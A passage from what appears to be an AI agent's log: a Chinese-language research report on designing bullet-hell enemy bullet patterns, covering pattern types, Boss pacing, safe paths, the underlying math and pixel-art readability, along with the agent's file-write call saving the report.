fire'不等于无限堆弹;密度阈值之后,可读性(readability)崩坏,玩家感到\"不公平\"而非\"华丽\"(note.com 3-2:设计缝隙而非密度)。\n- **难度曲线**:\n - 报告参考\"轻/重阶段交替\"(Danmaku Unlimited 3 采用东方式 light/heavy 交替:轻阶段让玩家喘息与移动,重阶段密集压迫,来源 Forgotten Worlds 采访);\n - 每个 Boss 阶段内\"缓慢升级\":起点是玩家已见过的简单变体,随后逐次加大子弹量/缩小缝隙/提高速度(SHMUP Workshop 03:slow escalation)。\n - 不同难度等级通过\"同一图案改密度/速度/名字\"来分层(东方难度差异,Wikipedia)。\n- **可控变量**(可做成运行时调参工具):子弹数、速度、发射间隔、扇形张角、环形偏转、随机种子、加层数。\n- **Cave 的 rank 系统**:根据玩家当前表现(残机/雷/击破率)动态调整弹幕强度——可选的高级机制(来源:TimeExtension;Boghog 亦建议用\"credit feed 降 rank\"来练习 Boss)。\n\n### 3.3 安全路径设计(Safe Zones / 缝隙 / 路线)\n\n弹幕的本质是\"缝隙谜题\",安全路径是设计对象而非巧合:\n\n- **微闪避(micrododging)**:在密集子弹的缝隙间小幅移动穿行(Sparen A3 / maribelhearn / Boghog);\n- **宏闪避(macrododging)**:对整个弹幕编队进行大幅度绕行、找到整块安全区(safe spot / safespot——\"内部完全不会被击中(或近于)的点/区域\",maribelhearn 术语);东方中 BOWAP、咲夜道中非符等是经典 safespot(maribelhearn Beginner Guide / jargon);\n- **引弹(streaming / misdirection)**:瞄准弹只有在玩家\"把弹流引到别处\"时才安全——设计上,持续的瞄准弹迫使玩家移动并制造\"下一波更难\"的位置压力(SHMUP Workshop 03:被满屏引导到尴尬位置会削弱后续应对;maribelhearn:misdirection 常在数秒空隙内完成);\n- **路线(routing)**:玩家在静态/半静态弹幕中规划的具体移动路径,是\"设计缝隙\"的最终产物;\n- **设计检查表**(综合 note.com 3-2 与 SHMUP Workshop 03):\n 1. 画图时刻意留下**可见的缝隙**(gap width > 判定点 + 子弹判定 + 误差余量);\n 2. 区分\"安全点型\"(原地不动即可)与\"移动型\"(需要持续引弹)两类安全路径,交替使用;\n 3. 用瞄准弹/区域封锁弹**主动关闭**上一轮的安全点,防止玩家蹲坑(area denial,SHMUP Workshop 03;以及\"anti-camping:避免玩家龟缩\"的 Boss 设计目标);\n 4. 每次重复图案时用随机种子旋转相位,避免出现固定盲区(Sparen A2)。\n\n### 3.4 时间限制与弹幕压力\n\n- **时限符卡**:上面已述(生存符卡)。在设计上,时限 = \"不需要 DPS 检验,纯粹考验躲避\",适合放在 Boss 战中段作为节奏变化点(东方文花帖/弹幕天邪鬼等衍生作品以\"时限+道具\"为核心玩法)。\n- **压力节奏(tension-release loop)**:\n - 每个波次设计\"入口压力→主压力→释放\"三段式:先预警(低压力、可读),再高压(核心躲避),最后 1–2 秒\"突然变简单\"给玩家胜利快感(Boss Up YouTube:survive 之后的那 1 秒喘息极具成瘾性);\n - 压力来源可以分层:视觉压力(满屏)、逻辑压力(瞄准)、时间压力(超时/残机消耗)。\n- **Boss 战的五个设计要素**(来源:Game Developer《Video Game Boss Design for Shmups》):\n 1. **难度 Difficulty**:首关 Boss 必须让\"认真玩的人\"能过;Boss 攻击应与关卡已有敌人/道具主题连贯(\"进化\"而非\"空降\");\n 2. **多样性 Variety**:Boss 血量条分段显示图案边界;同一段血内可循环多个攻击,且每次攻击要求不同的躲避/输出策略;\n 3. **时长 Length**:Boss 战时长与关卡时长成比例;中 Boss 不应比关底 Boss 长;把\"信息不对等的假 Boss → 真 Boss\"当一次性惊喜;\n 4. **回报 Pay-off**:Boss 战末尾(濒死前)往往\"倾泻所有弹幕\"制造最终高潮(Mushihimesama、ESPGaluda2、Ikaruga 第 3 章 Boss 都是例子);好回报 = 节奏铺垫 + 假危机;\n 5. **角色 Character**:爆炸方式、受击反馈、蓄力/宣言动画、音效都要符合角色性格——这是\"为什么这个 Boss 挡在这里\"的叙事答案。\n\n### 3.5 东方式 Boss 战结构参考(综合)\n\n1. 开战:非符 1(轻、教学、环/扇)\n2. 符卡宣言(换背景、念符名)→ 符卡 1(主题图案,时间限制,收取奖励)\n3. 非符 2(中压,引入瞄准/引弹)\n4. 符卡 2(组合图案,增强型:随血量变密)→ ……\n5. 濒死:Last Spell / 最终符卡(最强+最华丽)→ 消弹演出(击破瞬间子弹变道具)\n6. (挑战层)隐藏:Extra 时限符卡 / 弹幕天邪鬼式\"看似不可能\"组合\n\n---\n\n## 4. 数学原理与实现\n\n### 4.1 基础参数体系\n\n任何一个弹幕模式都可由以下参数组合生成(来源:note.com 第 4 章;o3de-diorama 参数表):\n\n| 参数 | 作用 | 备注 |\n|---|---|---|\n| 发射位置 | 敌中心/屏幕边缘/多炮塔 | 决定子弹出生点阵型 |\n| **发射角度** | 固定 / 旋转 / 瞄准 / 随机 | 最易出效果 |\n| 子弹数量 | 密度 | 环形=一圈数量、扇形=扇内数量 |\n| 发射间隔 | 节奏 | 决定\"流\"还是\"波\" |\n| 子弹速度 | 难度与观感 | 快=危险、慢=可读 |\n| 加速度 | 节奏与曲线 | 减速弹、加速弹 |\n| 角速度 | 螺旋、转向弹 | 曲线弹的核心 |\n| 寿命 | 消失时机 | 滞留弹=长寿命 |\n| 分裂条件 | 时间/距离/位置 | 分裂弹 |\n| 颜色/大小 | 可读性与美观 | 颜色=属性编码 |\n\n### 4.2 角度与排列公式(常用)\n\n- **环形**:`angle_i = base + i·360/n`,`v = speed·(cos, sin)`(2.1 节)\n- **扇形**:`angle_i = aim - spread/2 + i·spread/(n-1)`(2.3 节)\n- **瞄准**:`angle = atan2(py - ey, px - ex) + 偏移`(瞄准扇 = 在其两侧均匀分布)\n- **网格**:对 `(i,j)` 行列给固定 x/y 间距\n- **正弦波**:`x 或 y += A·sin(ω·t + φ)`(2.10 波型)\n- **花瓣/星形**:`angle_i = base + i·(360/petal) + 相位`,再由花瓣内多颗子弹构成瓣形\n- **规律+微扰**:`angle = base + i·even + sin(t)·fluct`,`speed = base + random(-δ,δ)`(note.com 3-1)\n- **周期循环**:如\"每 60 帧一波大浪、每 15 帧小弹、每 4 发反转角度\"制造音乐性节奏(note.com 3-4)\n\n### 4.3 速度变化(加速/减速弹幕)\n\nDanmokou(DMK 引擎)归纳的常见运动(来源:Danmokou Tutorial 6):\n\n1. 恒定速度直线(默认)\n2. **直线加速**(`v(t) = v0 + a·t`,可正可负:赶人弹/诱导弹)\n3. 速度在慢/快之间周期切换\n4. 两位置间往返\n5. 极坐标运动(径向+角速度)\n6. 波浪线(squiggly)\n7. 旋转运动方向(追踪/转向)\n8. 相对另一运动物体运动(随从弹/母舰子机)\n9. 任意参数方程轨迹\n\n工程提示:DMK 把运动建模为**函数**(`rvelocity(px(3 + sine(4, 0.6, t)))`),而不是\"速度/加速度两个标量\",从而任意轨迹即插即用;其子弹更新循环一次函数调用即可支撑 10 万以上子弹 @4K 120FPS(DMK 官方数据)。\n\n### 4.4 曲线弹幕(转向 / 极坐标 / 贝塞尔)\n\n- **限速转向(追踪弹)**:每帧把朝向转向上限内的目标方向(2.6 节公式);\"转向弱一点更好躲也更好看\"(note.com 2-13)。\n- **极坐标螺旋**:`r(t)=a·t, θ(t)=b·t` → 直角坐标 `x = cx + r·cosθ, y = cy + r·sinθ`(DMK 示例 `polar(2*t, 80*t)`)。注意极坐标绕圈时转速均匀性需要弧长参数化,DMK 作者自述\"没有闭式解,需迭代求解\"。\n- **贝塞尔曲线(弯曲弹)**:二次贝塞尔 `B(t) = (1-t)²·P0 + 2(1-t)·t·P1 + t²·P2`,每帧采样 t∈[0,1] 作为下一位置(通用图形学做法,非本次调研单一来源;用于\"弧形弹道/水漂弹\")。三次贝塞尔 `C(t)` 用于更复杂的 S 形弹道。\n- **正弦扰动**:在固定方向上叠加正弦横向偏移,成为\"S 形\"弹(Unity 论坛实现示例)。\n- **角度退化/曲线激光**:东方中存在\"准激光\"(弧形激光、曲线灵弹),判定比直线激光大(thwiki 弹型介绍)——曲线弹道要么给足预警,要么减小判定。\n\n### 4.5 性能实现建议\n\n- **对象池(object pool)**:固定容量池 + 硬上限,防止无限生成(o3de-diorama 的 `Max Bullets` 硬上限设计)。\n- **批量渲染**:同一纹理的整组子弹一次 draw call(sprite batch / 合批)。\n- **碰撞**:每颗活子弹对目标碰撞层做一次重叠查询,目标层只放玩家/护盾几个碰撞体,几百颗子弹也便宜(o3de-diorama)。\n- **功能分层**:发射器(emitter)只管几何与碰撞,伤害/计分留在游戏侧(o3de-diorama 的分工建议)。\n\n---\n\n## 5. 像素风格下的弹幕视觉设计\n\n### 5.1 子弹形状库\n\n**核心原则**:'shmup 最核心的是弹幕的可读性(visibility)——在任何背景下都能被读出'(slynyrd Pixelblog 31)。形状即语义:**形状要匹配行为**(Sparen Guide A2 / Pixelblog 32:箭形弹配直线飞行才合理;追踪弹要旋转指向的运动方向)。\n\n**东方参考形状清单**(来源:thwiki《东方全弹型介绍与中弹判定分析》、maribelhearn 子弹类型表、Steam Touhou Bullets Model Pack):\n\n| 类别 | 形状 | 用途/特点 | 像素建议 |\n|---|---|---|---|\n| 圆形系 | 小玉(带圈/不带圈)、中玉、大玉(空心) | 通用基础弹;大玉实际判定仅中心空洞 | 6–10px 圆 + 描边;大玉用\"中空环\"贴图配透明中心 |\n| 粒状 | 点弹、米弹 | 点弹最小(<判定点),米弹为最高发弹量弹型之一 | 3–4px 点、8×4 米粒;米弹风速后有变短/判定变大差异 |\n| 尖形 | 针弹/箭弹/晶弹 | 速度感、方向感最强 | 长 8–14px 的三角/箭头,尖端高亮 |\n| 刀剑形 | 刀弹、剑弹、苦无 | 角色辨识度高(如咲夜/蕾米) | 剑身+尖端高光;前端无判定所以略细 |\n| 星光形 | 星弹(大/小)、光弹 | 华丽、魔法感;光弹判定偏大 | 4 角/5 角星 + 旋转动画 |\n| 特殊形 | 蝶弹、心弹、音符弹、钱弹、鳞弹(带\"翼\") | 角色主题、装饰 | 2 帧扇翅/跳动动画;鳞弹判定仅中心点 |\n| 火焰/流体 | 炎弹、水滴/滴弹 | 不规则 | 2–3 帧沸腾动画,\"躲前端\"语义 |\n| 激光 | 线段激光/射线激光、弧形激光 | 封路、视觉冲击 | 预警线(细)→ 实体(粗)2 帧过渡;线身描边 |\n\n**东方判定参考**(thwiki):多数弹\"判定 < 视觉\":大玉只有中心空洞有效、鳞弹只有中心点、剑弹前端无判定、激光靠预警线判定;当\"准激光/粥弹/核弹\"等判定欺诈弹出现时,需要玩家另行学习——像素风下**不要滥用判定欺诈**,默认\"所见即所判\"更公平。\n\n### 5.2 颜色编码\n\n- **基础原则**:子弹是屏幕上最鲜艳的元素;用高饱和色与背景拉开对比;颜色可传达属性/机制语义(slynyrd;note.com 3-3)。\n- **按属性/危险度编码**示例:\n - 红/橙 = 高速、致命、普通攻击;\n - 蓝/青 = 特殊判定、特殊移动(如反弹/曲线/激光);\n - 紫/白 = 装饰弹、非致命、演出用;\n - 绿 = 通常用于玩家/友方,避免敌方子弹大量用绿(语义混淆)。\n - (以上为常见实践惯例,属综合常识,非单一文献结论。)\n- **注意**:颜色要与背景/特效区分(note.com 3-3);考虑红绿色盲——**不要只靠红/绿区分要害**,同时用形状/大小/闪烁区分。\n- **同波同色**:同一次发射的子弹用同一色系,方便玩家把\"一波子弹\"当整体读(note.com 3-3:子弹类型或危险度不同则换色)。\n\n### 5.3 子弹大小与可躲避性\n\n- **判定点 vs 视觉**:自机 hitbox 远小于机绘(Cave 1px hitbox、DoDonPachi 子弹判定约直径 20%,来源 TimeExtension/Shmups Wiki);聚焦模式时在判定点处显示小红点让玩家能\"穿缝\"。\n- **子弹尺寸**:越大越可见但占屏;太小(<判定点)会\"消失\"且威胁感弱。建议子弹视觉 6–16px 常见、点弹 3–4px、激光不限长(slynyrd:子弹应大小多样,通常越大伤害越高)。\n- **缝隙设计**:安全缝隙宽度 = 玩家判定 + 子弹判定 + 玩家操作误差(微闪避用低速聚焦移动保证精度);设计时给缝隙留 ≥2–3px 冗余(工程经验法则)。\n- **密度 vs 大小**:子弹越小越能密(给留出视觉通道);同屏密度高时,小弹+弱判定(空心大玉)是\"看起来吓人、实际可穿\"的经典手法(thwiki 大玉示例)。\n\n### 5.4 发光/粒子效果在像素风格中的处理\n\n- **描边(outline)**:几乎必备,最好**双层描边**(亮色外圈+暗色内圈)以保证任何背景下可读;pixel 风格常用白描边与其它精灵(深描边)区分(slynyrd)。\n- **闪烁/双帧动画**:两帧交替即可做出\"呼吸/危险脉冲\";对比度越大越激烈,但太强会难以追踪快速弹(slynyrd)。\n- **发光**:像素风发光 = 亮色核心 + 1 层半透明同色光晕(加色混合 additive)或\"外扩 1px 亮描边\";避免真实 bloom 破坏像素感。\n- **粒子**:爆炸/火花/花瓣用\"范围+偏置\"的受控随机(note.com 2-12);粒子可叠加在弹幕上做纹理而不是独立威胁。\n- **脉冲缩放**:呼吸/脉动(expanding-contracting)可让呆滞的圆弹\"活起来\"(slynyrd 的 rotation/motion 建议)。\n- **消弹特效**:Boss 符卡击破瞬间,全屏子弹转为道具/星点,是东方色的标志性演出(Touhou Wiki Items:子弹在 Boss 攻击结束/未超时被打掉时转为星道具;消弹 cancel 亦为计分要素,maribelhearn 术语)。\n\n### 5.5 弹幕层级的视觉优先级\n\n绘制顺序(从底层到顶层,工程惯例 + Reddit shmupdev 设计 101 摘要:\"敌方子弹永远画在其它对象之上\"):\n\n1. 背景/场景层\n2. 地面敌人/可破坏物\n3. 道具、点数\n4. 玩家射击、爆炸特效(半透明)\n5. **敌方子弹(最高优先级之一,必须覆盖玩家机绘)**\n6. 玩家机绘 + 判定点指示(聚焦时)\n7. UI(血量/符卡名/时间)\n\n理由:玩家需要\"先读弹,再读自己\";若子弹被机绘/特效遮挡,就会产生\"判定杀(clipdeath)\"的挫败感(maribelhearn 术语)。\n\n### 5.6 像素风格弹幕设计清单(落地用)\n\n- [ ] 每种模式指定**1 个主色 + 1 种子弹形状**(勿两种都在变);\n- [ ] 危险弹用暖色+闪光,装饰弹用冷色/暗色调;\n- [ ] 所有敌方子弹带描边(建议双层),且在玩家机绘之上绘制;\n- [ ] 直线/追踪/曲线弹使用**方向性贴图**(箭头/针/刀)并随角度旋转;\n- [ ] 预警:激光先细线→粗线;分裂弹先停顿+蓄力闪光;大威力攻击让 Boss 本体发光(note.com 3-5);\n- [ ] 判定 < 视觉:默认简化判定(圆/椭圆),为\"大玉/鳞弹\"这类特殊判定做贴图注释(空心=可穿);\n- [ ] 像素分辨率建议在 320×180~640×360 区间定基准(slynyrd 建议 480×270),保证单个子弹仍有足够像素表达细节;\n- [ ] 每张符卡/阶段限定子弹色彩数(建议 2–3 色),避免像素噪点化。\n\n---\n\n## 6. 对本项目(像素风弹幕游戏)的落地建议汇总\n\n1. **词库起步**:环形 / 螺旋 / 扇形 / 直线(流+墙)/ 瞄准扇 / 受控随机 / 分裂弹 / 激光(带预警)/ 滞留结界,共 9 个基础模式,先用\"参数化发射器\"(Count/Aim/Spread/Spin/Speed/FireRate/Lifetime)实现(参照 o3de-diorama 的参数表),Boss 脚本只做\"模式序列 + 转场\",成本最低。\n2. **难度曲线**:按\"非符(轻)→ 符卡(重)→ 非符 → 符卡 …\"排布;每张符卡 = 1 主题图案 + 增强型变密 + 时限生存变体(一套图案三种玩法)。\n3. **公平性**:所有危险性一定要有预警(telegraph);缝隙 > 判定 + 冗余;颜色+形状双通道编码。\n4. **像素视觉**:双层描边 + 双帧闪烁 + 加色发光小光晕 + 同波同色 2–3 色限制 + 子弹层级最高。\n5. **性能**:对象池 + 合批 + 简化碰撞层(目标只放玩家/护盾),确保几百到几千颗子弹稳定 60FPS。\n\n---\n\n## 7. 信息来源与置信度说明\n\n按信息诚实原则,对所有关键结论标注来源与置信度:\n\n**(A)本轮调研直接引用的网页来源(置信度高,可复核):**\n\n1. npaka,《A Summary of 15 Beautiful Bullet Hell Patterns in Danmaku Shooters》(note.com)——15 种模式分类、组合配方、参数与设计 tips:https://note.com/npaka/n/n5d38b7d84173?hl=en\n2. Sparen's Danmaku Design Studio,Guide A2(角度类型、方向性子弹、心理过滤、danmaku vs 普通 STG)、Guide A3(墙的定义、微/宏闪避、Utsuho 例子):https://sparen.github.io/ph3tutorials/ddsga2.html 、ddsga3.html\n3. Danmokou(DMK 引擎)Tutorial 6(函数式运动系统、极坐标螺旋公式、性能数据、贝塞尔/参数方程讨论):https://dmk.bagoum.com/docs/articles/t06.html\n4. Wikipedia《符卡》(符卡规则、宣言、红利、时效/增强型、Last Spell/Last Word/Overdrive、难度差异、魔理沙魔法书分类):https://zh.wikipedia.org/zh-hans/符卡\n5. thwiki/东方吧Wiki《东方全弹型介绍与中弹判定分析》(小玉/米弹/点弹/大玉/光弹/针弹/鳞弹/剑弹/炎弹/激光/核弹/粥弹及判定细则):https://touhou8.thwiki.cc/index.php?edition-view-1281-1.html=\n6. maribelhearn 《Touhou Community Jargon》(子弹类型表、micro/macro dodge、safespot、streaming、misdirection、routing、cancel、clipdeath 等术语):https://maribelhearn.com/faq/jargon(含中文版)\n7. maribelhearn Beginner Guide(微/宏闪避、流弹引弹、safespot 举例 BOWAP 等):https://wiki.maribelhearn.com/wiki/Beginner_Guide\n8. slynyrd Pixelblog 31《Shmup Design Part 1》(像素子弹设计:颜色/大小/形状/描边/闪烁/旋转、分辨率建议);Pixelblog 32(外观与行为匹配):https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design\n9. Game Developer《Video Game Boss Design For Shmups》(Boss 五要素:难度/多样性/时长/回报/角色;健康条分段;Cave 例子):https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups\n10. SHMUP Workshop 03《Bullet Pattern Design》(模式角色:警告/位移/区域封锁/最终引导;slow escalation;微宏闪避;CAVE tracking 做法;Boss 设计目标):YouTube ArZRZSYICLo\n11. TimeExtension《CAVE Story: The History of DonPachi》(命中率 20% 判定、自爆弹、rank 系统、1px hitbox);Shmups Wiki《CAVE》词条(1px 判定、游戏清单):https://www.timeextension.com/features/cave-story-the-history-of-donpachi-the-shmup-series-that-changed-everything\n12. Forgotten Worlds《A guide to Danmaku Unlimited 3》(脚本化弹幕、Touhou 式轻/重阶段交替):https://www.forgottenworlds.net/bullet-hell-danmaku\n13. Zen of the SHMUP(DonPachi 系列=图案+记忆、Mushihimesama=快速集中火、Cave 组合):https://richardschupp.wordpress.com/tag/the-zen-of-the-shmup\n14. o3de-diorama《24-bullet-patterns.md》(Ring/Fan/Spiral 参数表、对象池、合批、碰撞层设计):https://github.com/nickschuetz/o3de-diorama/blob/main/Docs/howto/24-bullet-patterns.md\n15. Boghog's bullet hell shmup 101(bullet sealing、micro/macro dodge 补充):https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101\n16. Reddit r/shmupdev《BULLET HELL SHMUP DESIGN 101》(\"敌方子弹永远绘制在其他对象之上\"等原则,仅经搜索摘要获取,置信度中):https://www.reddit.com/r/shmupdev/comments/13w730k/\n17. 其它:Summer Engine(判定点/聚焦/擦弹术语)、Touhou Wiki Items(消弹转星道具)、Steam Touhou Bullets Model Pack(子弹形状清单)、Ted Lim《Day 49》(sin/cos 扇面公式)等。\n\n**(B)置信度说明:**\n\n- 上述 (A) 列来源中的具体论断:**我很确定**它们出自对应来源(可直接复核)。\n- \"经典游戏例子\"中标注为\"常识\"的条目(如\"东方各作螺旋遍地\"\"雅雅…\"),来自模型通用知识,**没有在本轮调研中逐条核实**,读者如需引用请自行在对应游戏攻略中确认。\n- \"像素建议\"\"设计检查表\"\"落地建议\"等小节为**基于上述来源的综合工程建议**(合理推断,非文献原文),置信度中上,请结合游戏实测调整。\n- 反弹弹(2.7)在东方系纵版弹幕中近乎缺席是**常识判断**;调研资料中未找到专门文献,如要使用建议先做原型验证。\n\n---\n\n## 附录 A:参考链接汇总\n\n- https://note.com/npaka/n/n5d38b7d84173?hl=en (15 种弹幕模式)\n- https://sparen.github.io/ph3tutorials/ddsga2.html / ddsga3.html (弹幕设计工作室指南)\n- https://dmk.bagoum.com/docs/articles/t06.html (Danmokou 运动函数哲学)\n- https://zh.wikipedia.org/zh-hans/符卡 (符卡系统)\n- https://touhou8.thwiki.cc/index.php?edition-view-1281-1.html= (东方全弹型介绍与判定分析)\n- https://maribelhearn.com/faq/jargon (东方社区术语与子弹类型)\n- https://wiki.maribelhearn.com/wiki/Beginner_Guide (躲避策略入门:微/宏闪避、引弹、安全点)\n- https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design (像素弹幕设计)\n- https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups (STG Boss 设计)\n- https://shmups.wiki/library/CAVE (CAVE 公司与其游戏)\n- https://www.timeextension.com/features/cave-story-the-history-of-donpachi-the-shmup-series-that-changed-everything (DonPachi 历史)\n- https://richardschupp.wordpress.com/tag/the-zen-of-the-shmup (Cave 弹幕风格对比)\n- https://www.forgottenworlds.net/bullet-hell-danmaku (Danmaku Unlimited 3 访谈)\n- https://github.com/nickschuetz/o3de-diorama/blob/main/Docs/howto/24-bullet-patterns.md (发射器实现与参数)\n- https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101 (bullet hell 设计 101)\n- https://www.youtube.com/watch?v=ArZRZSYICLo (SHMUP Workshop 03 弹幕模式设计)\n- https://www.youtube.com/watch?v=zEPgFaIpa6o (Boss 设计 Week 25:螺旋/双螺旋实现)\n- https://www.youtube.com/watch?v=To5rOl6pn08 (Boss 战设计:攻击前摇、防龟缩)\n- https://tedlim-65557.medium.com/day-49-bullet-hell-pattern-2d-space-shooter-series-c91e4eccad7c (sin/cos 扇面数学)\n- https://www.summerengine.com/ai-bullet-hell-maker (判定点/聚焦/擦弹/密度调参)\n\n*报告完*"}, "ts": 1787459605714}, {"type": "progress", "id": "call_221c64a46fc24b6eb696fcd8", "tool": "write_file", "status": "completed", "args": {"file_path": "research/bullet_patterns/bullet_pattern_research.md", "content": "# 弹幕射击游戏(STG / Bullet Hell)敌方弹幕模式调研报告\n\n> **调研目的**:为像素风格的弹幕射击游戏(STG / Bullet Hell)提供敌方弹幕(bullet pattern)设计的系统性参考。\n> **调研方式**:网络搜索 + 网页资料提取(来源见第 7 章)。\n> **调研时间**:2026-08-23\n> **交付目录**:`research/bullet_patterns/`\n\n---\n\n## 0. 摘要(TL;DR)\n\n- 弹幕(danmaku / 弾幕,字面义\"弹幕幕帘\",西方称 bullet hell / curtain fire)与普通 STG 的本质区别**不是子弹数量**,而是\"**整个屏幕都是弹幕的舞台**\"——大量子弹不是为了全部命中玩家,而是组成可观赏、可读、有图案(pattern)的\"幕帘\",玩家在其中寻找缝隙穿行。多数子弹在诞生之初就注定打不到玩家(Sparen's Danmaku Design Studio, Guide A2)。\n- 经典弹幕模式可用\"**规律 + 微扰**\"统一描述:先排布几何图案(环形、螺旋、扇形、直线、激光、网格等),再叠加少量可控随机(角度/速度抖动),并始终**以\"设计缝隙\"为核心**,而不是\"设计密度\"。\n- Boss 战的核心设计杠杆:**阶段(Phase/符卡)转换、节奏(轻/重交替与紧张-释放)、密度控制(难度曲线)、安全路径/安全点(safe zone/safespot/routing)、公平性信号(预警 telegraph)**。\n- 实现上只靠 5 个基础参数即可组合出绝大多数模式:**发射角度、子弹数量、发射间隔、子弹速度、加速度(角速度)**;曲线弹幕依赖角速度转向、极坐标/参数方程(如螺旋 `r=a·t, θ=b·t`)、贝塞尔曲线或正弦扰动。\n- 像素风格下,弹幕可读性(readability)压倒一切:**高饱和颜色 + 描边(尤其双层描边)+ 闪烁/呼吸动画 + 明确的子弹形状语义 + 绘制层级(敌方子弹永远最上层)**;并让判定(hitbox)远小于视觉尺寸。\n\n---\n\n## 1. 背景认知:弹幕射击与普通 STG 的区别\n\n| 维度 | 普通 STG | 弹幕射击(Bullet Hell) |\n|---|---|---|\n| 子弹目的 | 命中玩家 | 大量子弹作\"装饰 + 制造缝隙谜题\",很多子弹故意不打玩家 |\n| 屏幕利用 | 子弹从上方来袭 | 全屏都是舞台,子弹可从任何方向/任何规律出现 |\n| 判定 | 机体整体判定 | 微型判定点(hitbox),东方等游戏中判定远小于机绘大小 |\n| 玩家速度 | 较快 | 有\"低速聚焦模式\"(focus/slow mode)用于精确微调 |\n| 美学 | 战场感 | \"弹幕舞蹈\",图案本身有独立观赏价值 |\n\n关键概念:\n\n- **幕帘火(Curtain fire)**:'curtain fire'精确描述了弹幕的本质——用弹幕填满一片空间形成\"幕帘\",玩家面对的是\"图案\",而不是\"几发子弹\"(Sparen Guide A2)。\n- **判定点(Hitbox)**:子弹只有碰到自机中心的微小判定点才算命中。Cave 的《虫姬后传》《怒首领蜂大复活》甚至有 1 像素判定;DoDonPachi 系列子弹判定通常只占子弹直径约 20%(来源:TimeExtension CAVE 历史长文、Shmups Wiki CAVE 词条)。\n- **擦弹(Graze)**:子弹掠过判定点外围的\"擦弹判定圈\"得分,鼓励玩家贴着子弹走(Summer Engine、maribelhearn 术语表)。\n- **心理过滤(Mental filtering)**:高手玩家会自动忽略大量\"注定打不中自己\"的子弹(例如环形弹幕中飞向两侧/上方的子弹),只对逼近自己的弹道做出反应——这是弹幕\"装饰性子弹\"能成立的心理学基础(Sparen Guide A2)。\n\n---\n\n## 2. 经典弹幕模式分类\n\n> 本节以任务要求的 9 类为主干(2.1–2.9),然后在 2.10 补充调研中发现的其它常用模式。每个模式给出:**名称 / 视觉描述 / 数学与实现要点 / 经典游戏例子 / 像素风格设计建议**。\n> 注:任务要求的 9 类与社区常用分类(如 note.com 归纳的 15 种模式)并非一一对应,本报告将两类分类体系做了映射与合并。\n> 经典例子部分,凡未在本轮调研资料中明确出现的,均标注为\"常识(通用认知)\",置信度说明见第 7 章。\n\n### 2.1 环形弹幕(Ring / Circle Burst,日语\"轮弾/円形弾\")\n\n- **视觉描述**:从中心点向 360° 均匀放射一圈子弹,呈涟漪/烟花/魔法阵状。变化包括:扩展环(从小半径环向外扩)、收缩环、多重同心环、旋转环、分裂环(飞到中途爆成更多子弹)。(note.com 2-8 Rings)\n- **数学与实现要点**:\n ```\n n = 子弹数; base = 基准角\n for i in 0..n-1:\n angle = base + i * (360° / n)\n vx = speed * cos(angle); vy = speed * sin(angle)\n ```\n 若每帧/每次发射让 `base` 增加固定角,环就\"旋转/缭乱\"起来。(o3de-diorama 文档:Ring 参数含 Count、Aim、Speed、Fire Rate、Spin Per Shot;Ted Lim / GameMaker 论坛同款公式)\n- **经典游戏例子**:东方系列几乎所有 Boss 都有环弹(常识);琪露诺的冰符「Icicle Fall -Easy-」的冰柱环是知名的入门环弹(Sparen Guide A2 以其为例讲述固定角);环形常用作 Boss 战开场或\"轻阶段\"的通用压迫弹(note.com 入门 Boss 组合)。\n- **像素风格设计建议**:环弹数量多且对称,适合用**小尺寸圆形弹**(6–8px)保证低视觉占用;用\"带圈的小玉\"(外圈描边)区分装饰环和危险环;旋转环可给子弹加 1–2 帧的旋转动画增强\"轮转感\"。\n\n### 2.2 螺旋弹幕(Spiral)\n\n- **视觉描述**:发射角连续旋转,子弹留下螺旋尾迹,像银河/风车/玫瑰。变体:单螺旋、多螺旋、顺逆时针双螺旋交叉、不同色相/速度的螺旋。(note.com 2-2 Spiral)\n- **数学与实现要点**:\n - 离散式:每次发射一个环,环的基准角 += 每发旋转角(Spin Per Shot),即\"每发转一点\"(o3de-diorama)。\n - 参数方程(连续式):极坐标 `r = a·t`、`θ = b·t`,则 `x = cx + r·cos(θ)`,`y = cy + r·sin(θ)`(来源:Danmokou Tutorial 6 的螺旋示例 `polar(2*t, 80*t)`)。\n - 替代实现:让发射器父对象缓慢旋转(Ted Lim——\"空对象 + 3 个子发射点 + 旋转父对象即可做出螺旋\")。\n- **经典游戏例子**:螺旋是弹幕最经典的高性价比模式,\"低子弹数也能很华丽\"(note.com);东方各作螺旋遍地(常识),双反向螺旋常作中后期难度(YouTube Week 25 Boss 设计演示了\"顺+逆双螺旋\"Boss 阶段)。\n- **像素风格设计建议**:螺旋强调\"轨迹\",适合用**细长子弹(针弹/米弹/箭弹)**来勾勒弧线;或给圆形弹加方向性贴图(箭头形)让旋转方向可读(Sparen Guide A2 说明了\"有方向性的子弹图形\"对旋转/转向弹幕的可读性价值)。\n\n### 2.3 扇形弹幕(Fan / Wedge)\n\n- **视觉描述**:在一个方向张开成扇面。窄扇高压、宽扇适合场景演出;朝玩家发射时进攻性强(\"瞄准开火\"的观感),固定方向发射则可控、适合道中演出。(note.com 2-3 Fan)\n- **数学与实现要点**:\n ```\n n = 子弹数; spread = 扇形总张角; aim = 瞄准角\n step = spread / (n - 1)\n start = aim - spread / 2\n for i in 0..n-1:\n angle = start + i * step\n ```\n (来源:Unity 教程(Unity Discussions 搜索片段)与 Ted Lim 的扇面公式——\"startAngle = target - halfSpread / 2,endAngle = target + halfSpread/2,逐颗递增 step\")\n- **经典游戏例子**:几乎所有 STG 的追踪射击采用\"瞄准玩家的扇\"(aimed fan);东方道中妖精惯用(常识);DoDonPachi 等 Cave 游戏的\"concentrated fire\"即窄/快扇(来源:Zen of the SHMUP 对 Cave 的归类)。\n- **像素风格设计建议**:扇弹适合 7–11 颗一组的中型子弹(如 10px 小玉),发射瞬间用**同一色系**表示同一波;窄扇用暖色(红/橙)暗示高风险,宽装饰扇用冷色。\n\n### 2.4 直线弹幕(Line / Stream / Wall)\n\n- **视觉描述**:\n - **流弹(Stream)**:从一处连续射出单发子弹,形成一条密集弹流,玩家\"引弹\"时可把它带成一条可利用的空隙带(maribelhearn 术语:streaming / 引弹)。\n - **墙(Wall)**:同排/同列子弹连成不可穿越的\"墙\",迫使玩家整体绕过(宏闪避)或在墙隙中微闪避。Sparen Guide A3 的定义:\"墙 = 玩家无法从中间穿过的子弹群/编队\"。\n- **数学与实现要点**:连续发射(fire rate 